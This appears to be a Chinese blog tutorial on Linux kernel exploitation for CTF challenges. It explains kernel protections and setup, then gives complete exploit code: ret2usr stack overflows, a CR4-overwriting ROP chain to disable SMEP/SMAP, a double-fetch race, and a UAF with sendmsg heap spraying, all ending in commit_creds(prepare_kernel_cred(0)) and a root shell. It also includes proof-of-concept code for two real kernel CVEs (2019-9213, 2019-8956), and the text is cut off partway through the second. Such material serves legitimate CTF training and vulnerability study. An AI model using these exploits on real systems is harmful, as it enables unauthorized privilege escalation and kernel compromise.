记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Linux Kernel Pwn 初探

2020-04-26 11:25

Linux Kernel Pwn 初探

基础知识

kernel 的主要功能:

  1. 控制并与硬件进行交互

  2. 提供 application 能运行的环境

Intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3

Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。

Ps: 在Ring0下,可以修改用户的权限(也就是提权)

如何进入kernel 态:

  1. 系统调用 int 0x80 syscall ioctl
  2. 产生异常
  3. 外设产生中断

  4. ...

进入kernel态之前会做什么?

保存用户态的各个寄存器,以及执行到代码的位置

从kernel态返回用户态需要做什么?

执行swapgs(64位)和 iret 指令,当然前提是栈上需要布置好恢复的寄存器的值

一般的攻击思路:

寻找kernel 中内核程序的漏洞,之后调用该程序进入内核态,利用漏洞进行提权,提完权后,返回用户态

返回用户态时候的栈布局:

Ps:在返回用户态时,恢复完上述寄存器环境后,还需执行swapgsiretq,其中swapgs用于置换GS寄存器和KernelGSbase MSR寄存器的内容(32位系统中不需要swapgs,直接iret返回即可)

Linux Kernel 源码目录结构

linux-4.20源码下载:https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.20.tar.gz

CTF中的Linux kernel

通常CTF比赛中KERNEL PWN不会直接让选手PWN掉内核,通常漏洞会存在于动态装载模块中(LKMs, Loadable Kernel Modules ),包括:

  • 驱动程序(Device drivers

    • 设备驱动
    • 文件系统驱动
    • ...
  • 内核扩展模块 (modules)

一般来说,题目会给出如下四个文件:

其中,

  1. baby.ko 就是有bug的程序(出题人编译的驱动),可以用IDA打开

  2. bzImage 是打包的内核,用于启动虚拟机与寻找gadget

  3. Initramfs.cpio 文件系统

  4. startvm.sh 启动脚本

  5. 有时还会有vmlinux文件,这是未打包的内核,一般含有符号信息,可以用于加载到gdb中方便调试(gdb vmlinux),当寻找gadget时,使用objdump -d vmlinux > gadget然后直接用编辑器搜索会比ROPgadgetropper快很多。

  6. 没有vmlinux的情况下,可以使用linux源码目录下的scripts/extract-vmlinux来解压bzImage得到vmlinuxextract-vmlinux bzImage > vmlinux),当然此时的vmlinux是不包含调试信息的。

  7. 还有可能附件包中没有驱动程序*.ko,此时可能需要我们自己到文件系统中把它提取出来,这里给出ext4cpio两种文件系统的提取方法:

    • ext4:将文件系统挂载到已有目录。

      • mkdir ./rootfs

      • sudo mount rootfs.img ./rootfs

      • 查看根目录的initetc/init.d/rcS,这是系统的启动脚本

        可以看到加载驱动的路径,这时可以把驱动拷出来

      • 卸载文件系统,sudo umount rootfs

    • cpio:解压文件系统、重打包

      • mkdir extracted; cd extracted
      • cpio -i --no-absolute-filenames -F ../rootfs.cpio
      • 此时与其它文件系统相同,找到rcS文件,查看加载的驱动,拿出来
      • find . | cpio -o --format=newc > ../rootfs.cpio
  8. startvm.sh用于启动QEMU虚拟机,如下:

    #!/bin/bash

    stty intr ^]
    cd `dirname $0`
    timeout --foreground 600 qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=1,threads=1 \
    -cpu qemu64 2>/dev/null

    可以在最后加上-gdb tcp::1234 -S使虚拟机启动时强制中断,等待调试器连接,这里最好用ubuntu 18.0416.04有可能出现玄学问题,至少我这里是这样

Linux Kernel漏洞类型

其中主要有以下几种保护机制:

  • KPTI:Kernel PageTable Isolation,内核页表隔离
  • KASLR:Kernel Address space layout randomization,内核地址空间布局随机化
  • SMEP:Supervisor Mode Execution Prevention,管理模式执行保护
  • SMAP:Supervisor Mode Access Prevention,管理模式访问保护
  • Stack Protector:Stack Protector又名canary,stack cookie
  • kptr_restrict:允许查看内核函数地址
  • dmesg_restrict:允许查看printk函数输出,用dmesg命令来查看
  • MMAP_MIN_ADDR:不允许申请NULL地址 mmap(0,....)

KASLRStack Protector与用户态下的ASLRcanary保护机制相似。SMEP下,内核态运行时,不允许执行用户态代码;SMAP下,内核态不允许访问用户态数据。SMEPSMAP的开关都通过cr4寄存器来判断,因此可通过修改cr4的值来实现绕过SMEPSMAP保护。

可以通过cat /proc/cpuinfo来查看开启了哪些保护:

KASLRSMEPSMAP可通过修改startvm.sh来关闭;

dmesg_restrictdmesg_restrict可在rcS文件中修改:

MMAP_MIN_ADDRlinux源码中定义的宏,可重新编译内核进行修改(.config文件中),默认为4k

做题准备

一般来说,不管是什么漏洞,大多数利用都需要一些固定的信息,比如驱动加载基址、prepare_kernel_cred地址、commit_creds地址(KASLR开启时通过偏移计算,内核基址为0xffffffff81000000),因此我们需要以root权限启动虚拟机,可以在startvm.sh中把保护全部关掉。

启动的用户权限也是由rcS文件来控制的,找到setsid这一行,修改权限为0000

启动后,执行lsmod可以看到驱动加载基址,要记得先关闭kaslr,然后记录下来,这可以用gdb调试时方便计算断点地址,这里也可以看到设备名称为OOB,路径为/dev/OOB

cat /proc/kallsyms | grep "prepare_kernel_cred"得到prepare_kernel_cred函数地址

cat /proc/kallsyms | grep "commit_creds"得到commit_creds函数地址

当我们写好exp.c时,需要编译并把它传到本地或远程的QEMU虚拟机中,但是由于出题人会使用busybox等精简版的系统,所以我们也不能用常规方法。这里给出一个我自己用的脚本,也可以用于本地调试,就不需要重复挂载、打包等操作了。需要安装muslgccapt install musl-tools

from pwn import *
#context.update(log_level='debug')

HOST = "10.112.100.47"
PORT = 1717

USER = "pwn"
PW = "pwn"

def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 oob.c -o exp")

def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")

def upload():
p = log.progress("Upload")

with open("exp", "rb") as f:
data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")

p.success()

def exploit(r):
compile()
upload()

r.interactive()

return

if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)

level1

第一道例题,程序很简单,只有一个函数

init_module中注册了名叫baby的驱动

sub_0函数存在栈溢出,将0x100的用户数据拷贝到内核栈上,高度只有0x88

这里实际上缓冲区距离rbp0x80,也没有保护,不用泄露,不用绕过,直接ret2usr

exp.c

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}


int main() {
void *buf[0x100];
save_stat();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
for(int i=0; i<0x100; i++) {
buf[i] = &templine;
}

ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}

level2

先看看startvm.sh,这次多了SMEPSMAPKASLR,所以我们需要考虑先泄露内核地址(这里还是把kaslr关掉方便调试

主要函数也只有一个:

可以看到提供了两个功能,可以从用户内存拷贝数据到内核栈,也可以将内核栈的数据提供给用户。那就可以通过内核栈数据进行内核基址的泄露,随后使用gadget修改cr4来绕过smepsmap

首先可以将上传exp的脚本设置为debug模式,方便进行泄露数据的计算。

context.update(log_level='debug')

在用户态设置缓冲区,然后使用0x6002的泄露功能,write出来

ioctl(fd, 0x6002, buf);
write(1, buf, 0x200);

效果如下:

因为此时没有开启KASLR,所以我们可以寻找0xffffffff80000000附近的内核地址进行基址的泄露。

比如偏移为0x480xffffffff8129b078

这里还要泄露canary(见上图v6变量),一般来说,canary会在rbp-8的位置,视具体情况可能有些偏移,且canary是一个高字节为\x00的随机字符串,还是比较容易找的。

然后我们就可以寻找cr4寄存器相关的gadget进行smapsmep的绕过

因为题目没有提供vmlinux,所以使用extract-vmlinux进行解压

~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux

然后用objdump提取gadget

objdump -d ./vmlinux > gadget

找合适的rop链,这里可以先看可控制cr4的寄存器,再找相关的pop

然后就可以修改cr40x6f0,后面就是常规操作了

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}


int main() {
long long buf[0x200];
save_stat();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
// for(int i=0; i<0x100; i++) {
// buf[i] = &templine;
// }

ioctl(fd, 0x6002, buf);
// write(1, buf, 0x200);
base_addr = buf[9] - 0x29b078;
canary = buf[13];
printf("base:0x%llx, canary:0x%llx\n", base_addr,canary);
prepare_kernel_cred = calc(0xffffffff810b9d80);
commit_creds = calc(0xffffffff810b99d0);
int i = 18;
buf[i++] = calc(0xffffffff815033ec); // pop rdi; ret;
buf[i++] = 0x6f0;
buf[i++] = calc(0xffffffff81020300); // mov cr4,rdi; pop rbp; ret;
buf[i++] = 0;
buf[i++] = &templine;
ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}

level3

先看startvm.sh

开了两个核,这时就要注意会不会是double fetch漏洞,因为一般的题都只会用到一个核。

这里要注意一点,就是最好关掉kvm加速(-enable-kvm,因为调试的时候如果开启了kvm,驱动的基址就和之前我们通过lsmod查到的不一样,导致断点断不下来等玄学现象,并且这个操作也不会影响漏洞的利用。

看下驱动程序:

__int64 __fastcall baby_ioctl(__int64 a1, __int64 choice)
{
FLAG *s1; // rdx
__int64 v3; // rcx
__int64 result; // rax
unsigned __int64 v5; // kr10_8
int i; // [rsp-5Ch] [rbp-5Ch]
FLAG *s; // [rsp-58h] [rbp-58h]

_fentry__(a1, choice);
s = s1;
if ( choice == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag, s1, v3);
result = 0LL;
}
else if ( choice == 0x1337
&& !_chk_range_not_ok(s1, 16LL, *(__readgsqword(&current_task) + 0x1358))
&& !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(&current_task) + 0x1358))
&& s->len == strlen(flag) ) // a4
{
for ( i = 0; ; ++i )
{
v5 = strlen(flag) + 1;
if ( i >= v5 - 1 )
break;
if ( s->flag[i] != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag, flag, ~v5);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}

_chk_range_not_ok函数,检查了一、二参数的和是不是小于第三个,且无符号整数和不能产生进位(也就是溢出),这里的__CFADD__运算就是Generate carry flag for (x+y),使加法运算产生CF标志:

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool v3; // cf
unsigned __int64 v4; // rdi
bool result; // al

v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;
}

实际上,我们传进这个函数的a3就是*(__readgsqword(&current_task) + 0x1358),这个数的值通过打断点可以知道,就是用户空间的最高页基址(0x7ffffffff000),所以实际上它所实现的功能就是我们不能传入内核地址,也就是我们不能直接传入程序数据段中的flag地址来实现判断条件的绕过。

.data:0000000000000480                 public flag
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480 ; baby_ioctl+DB↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488 align 20h

也就是这部分的判断条件:

else if ( choice == 0x1337
&& !_chk_range_not_ok(s1, 16LL, *(__readgsqword(&current_task) + 0x1358))
&& !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(&current_task) + 0x1358))
&& s->len == strlen(flag) ) // a4

但是只要我们通过了这段验证,后面的逐字节校验就没有再检查是否为内核地址

for ( i = 0; ; ++i )
{
v5 = strlen(flag) + 1;
if ( i >= v5 - 1 )
break;
if ( s->flag[i] != flag[i] )
return 22LL;
}

所以我们可以通过创建两个线程,其中主线程的flag参数传入一个用户空间的地址,但是要满足s->len == strlen(flag)的判断条件,这个长度我们可以用返回值是否为22来爆破。

此时主线程就会在逐字节校验过程中失败并返回,而我们如果能在这两段验证逻辑之间修改flag的值为目标flag的内核地址,就可以完成所有验证实现flag的打印。

需要注意的是,我们子线程,即修改地址的线程要在主线程进入之前就开始运行,这样才有可能在窗口期修改变量。

以下为完整exp,可能需要多试几次才能成功:

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

int main_thread_out = 0;

struct msg {
char *buf;
int len;
}m;


void change_addr(unsigned long long addr) {
while (main_thread_out == 0) {
m.buf = addr;
puts("waiting...");
}
puts("out...");
}


int main() {
void *buf[0x1000];
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
m.len = 33;
m.buf = buf;
ioctl(fd, 0x6666, m);
system("dmesg > /tmp/aaa.txt");
int tmp_fd = open("/tmp/aaa.txt", 0);
lseek(tmp_fd, -0x100, SEEK_END);
read(tmp_fd, buf, 0x100);
char *flag_addr = strstr(buf,"Your flag is at ");
if (flag_addr == 0){
printf("[-]Not found addr");
exit(-1);
}

close(tmp_fd);
flag_addr += strlen("Your flag is at ");
unsigned long long addr = strtoull(flag_addr, flag_addr+16, 16);
printf("flag_addr:%p\n",addr);
// int ret = ioctl(fd, 0x1337, &m);
// printf("ret:%d\n", ret);
pthread_t t;
pthread_create(&t, 0, change_addr, addr);
// sleep(1);
puts("main_thread in...");
for(int i=0; i<0x1000; i++) {
m.buf = buf;
ioctl(fd, 0x1337, &m);
}
main_thread_out = 1;

system("dmesg > /tmp/bbb.txt");
tmp_fd = open("/tmp/bbb.txt", 0);
if (tmp_fd < 0) {
printf("[-] bad open dmesg\n");
exit(-1);
}
lseek(tmp_fd, -0x100, SEEK_END);
read(tmp_fd, buf, 0x100);
flag_addr = strstr(buf,"So here is it ");
if (flag_addr == 0){
printf("[-]Not found flag");
exit(-1);
}

close(tmp_fd);
flag_addr += strlen("So here is it ");
flag_addr[m.len] = 0;
printf("%s\n",flag_addr);
return 0;
// ioctl(fd, 0x6001, buf);
//getchar();
//getchar();
}

level4

嗯,依旧只有一个函数。。

__int64 __fastcall sub_0(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
__int64 a3; // r13
BUF *buf; // rbx
__int64 i; // rax
__int64 v7; // r12
CHUNK *chunk_1; // rax
char *call_arg; // rdx
__int64 v10; // rax
CHUNK *chunk; // rsi
__int64 idx; // rax
__int64 ptr; // rdi

_fentry__(a1, a2);
a3 = v2;
buf = kmem_cache_alloc_trace(kmalloc_caches[4], 0x6000C0LL, 0x10LL);
copy_from_user(buf, a3, 16LL);
switch ( a2 )
{
case 0x6008: // delete
idx = buf->idx;
if ( idx <= 0x1F )
{
ptr = pool[idx];
if ( ptr )
kfree(ptr); // no clean
}
break;
case 0x6009: // call
v10 = buf->idx;
if ( v10 <= 0x1F )
{
chunk = pool[v10];
if ( chunk )
_x86_indirect_thunk_rax(chunk->arg1, chunk, 0x48LL);// call rax
}
break;
case 0x6007: // add
i = 0LL;
while ( 1 )
{
v7 = i;
if ( !pool[i] )
break;
if ( ++i == 0x20 )
goto LABEL_4;
}
chunk_1 = kmem_cache_alloc_trace(kmalloc_caches[1], 0x6000C0LL, 72LL);
call_arg = buf->data;
pool[v7] = chunk_1;
chunk_1->call_func = &copy_to_user; // call func
chunk_1->arg1 = call_arg; // call args
break;
}
LABEL_4:
kfree(buf);
return 0LL;
}

保护全开

程序的逻辑基本上是,我们有一个chunk池,可以进行创建、销毁、调用的功能,调用的默认函数是copy_to_user,参数是我们创建堆块的时候传入的,我们可以用这个copy_to_user来泄露内核地址,方法就和level2是一样的。

但是可以看到,程序在销毁堆块的时候并没有将指针置空,这样就有一个UAF漏洞;并且这个调用的过程的函数地址是从堆块中取的,所以如果我们能通过堆喷将设计好的数据填入这个free掉的堆块,就可以实现任意地址的调用。

这里是使用socket连接中的sendmsg进行堆喷,chunk的大小可以通过msg结构体中的msg_controllen来进行调整(最小为44字节),这里可以参考:

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

因此利用的思路就是,两次UAF,两次堆喷

  • 第一次通过gadgets修改CR4,关闭smapsmep保护
  • 第二次直接调用提权函数(commit_creds(prepare_kernel_cred(0))

下面是完整exp

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>



#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

int fd;
int BUFF_SIZE = 96;


void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}

// ------------------------------------------------------------

struct sBuf
{
char *data;
int index;
} buf;


void add(char *data) {
buf.data = data;
ioctl(fd, 0x6007, &buf);
}

void delete(int index) {
buf.index = index;
ioctl(fd, 0x6008, &buf);
}

void call(int index) {
buf.index = index;
ioctl(fd, 0x6009, &buf);
}

int main() {
save_stat();
fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
unsigned long long *s[0x1000];
void *arg;
s[6] = arg;
add(s);
delete(0);
call(0);
// write(1, s, 0x200);
base_addr = (void*)s[8] - 0x4d4680;
printf("base:0x%llx\n", base_addr);
prepare_kernel_cred = calc(0xffffffff810b9d80);
commit_creds = calc(0xffffffff810b99d0);

// 开始建立socket 和 msg
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

memset(buff, 0x43, sizeof buff);
*((unsigned long long*)(&buff[0x38])) = 0x6f0;
*((unsigned long long*)(&buff[0x40])) = calc(0xffffffff81070790); // push rbp; mov rbp,rsp; mov cr4,rdi; pop rbp; ret;
// gadget has to save rbp then pop

addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;

/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

for(int i = 0; i < 0x10000; i++) {
sendmsg(sockfd, &msg, 0);
}

call(0);
add(s);
delete(1);

*((unsigned long long*)(&buff[0x40])) = &templine;

for(int i = 0; i < 0x10000; i++) {
sendmsg(sockfd, &msg, 0);
}

call(1);
// (unsigned long long*)&buff[0x40] = 0xffffffff81087c99; // pop rdi; pop rbx; ret;
}

babykernel

这是XMan入营赛的一道题,应该是出题人用其它题改的,改的很简单,直接ret2usr,开了smap, smep没有kaslr,可以在这里下载:

https://github.com/t3ls/pwn/blob/master/XMAN2019/babykernel/4771022fa9a54407bc7a56f61db435d3.zip

有用的只有write函数:

__int64 __fastcall mychrdev_write(int a1, char *a2, __int64 a3)
{
char v4; // [rsp+0h] [rbp-50h]

if ( ((__int64 (__fastcall *)(char *, char *, __int64))copy_from_user)(&v4, a2, a3) )
return -14LL;
printk("You writed!");
return 1LL;
}

exp如下:

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>



#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810779b0; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81077620; // TODO:change it
// cat /proc/kallsyms | grep "prepare_kernel_cred"

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

int fd;
int BUFF_SIZE = 96;


void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
return addr-0xffffffff81000000+base_addr;
}

int main() {
save_stat();
fd = open("/dev/mychrdev", 2);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
// void *buf[0x1000];
void *buf[0x1000];
// for (int i=0; i < 0x100; i++) {
// buf[i] = &templine;
// }
int i = 0x58/8;
buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret;
buf[i++] = 0x6f0;
buf[i++] = 0x10;
buf[i++] = 0xffffffff81045600; // mov rax,rbx; pop rbx; pop rbp; ret;
buf[i++] = 0x6f0;
buf[i++] = 0;
buf[i++] = 0xffffffff81003cf8; // mov cr4,rax; pop rbp; ret;
buf[i++] = 0;
buf[i++] = &templine;
write(fd, buf, 0x100);
}

CVE-2019-9213

CVE描述

In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task.

补丁对比

调用链

POC

从补丁中我们可以看出,当一块内存具有MAP_GROWSDOWN标志时,内存不足会向低地址进行扩展,此时跟进调用链会发现调用了expand_downwards函数,漏洞也就是没有对扩展后的地址进行合理性校验,因此在内核态下对用户空间进行内存扩展时,因为没有address < mmap_min_addr的判断条件,我们就可以mmapNULL地址,但用户空间是不允许对0地址进行映射的,所以此时就会有提权的风险。

#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>


int main() {
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%s\n",(char *)1);
}

这个POC最后打印了1地址的内容,其实就是执行su命令时的报错信息

效果如下:

CVE-2019-8956

CVE描述

In the Linux Kernel before versions 4.20.8 and 4.19.21 a use-after-free error in the "sctp_sendmsg()" function (net/sctp/socket.c) when handling SCTP_SENDALL flag can be exploited to corrupt memory.

补丁对比

调用链

漏洞原理

根据补丁信息,可以看出漏洞位于sctp_sendmsg函数的asoc链表遍历的过程中,sctp_associationsctp协议通信中存储相关信息的基础结构体,包含有sendmsg过程中的地址、端口等信息。而patch的原因写的是避免因链表中的成员被删除时,遍历造成的内存页中断。

我们再来看list_for_each_entrylist_for_each_entry_safe的区别

也就是保证了在链表的遍历过程中,如果出现了非法地址,不会再直接赋值到pos上。

所以CVE描述所写的是UAF漏洞,我觉得写成空指针解引用漏洞要更恰当一点。

POC的编写,基本上就是复制粘贴了sctp通信的代码,最后调用了sctp_sendmsg,但是怎么样才能触发这个漏洞呢,我们来看看报错的代码(net/sctp/socket.c

可以看到,当遍历到0xd4这个非法地址时,报错是由sctp_sendmsg_check_sflags返回的,我们跟进看一下

所以要触发报错,我们要满足sflags & SCTP_SENDALL以进入遍历函数,和sflags & SCTP_ABORT来产生报错

通过查询定义,可以发现SCTP_ABORT0x4SCTP_SENDALL0x40

所以可以知道当我们将sflags置为0x44时即可引发crash

sflags是倒数第四个参数,至此,我们就可以写出POC

POC

#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>

#define SERVER_PORT 6666

#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118

void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;

char *buf = "test";

if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

printf("send data: %s\n",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0x44,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}

client_out_:
//close(socket_fd);
pthread_exit(0);
}

void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;

rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),
(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %s\n",readbuf);

if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0,0,0,0)<0){
perror("SENDALL sendmsg");
}

pthread_exit(0);

}

int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;

if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
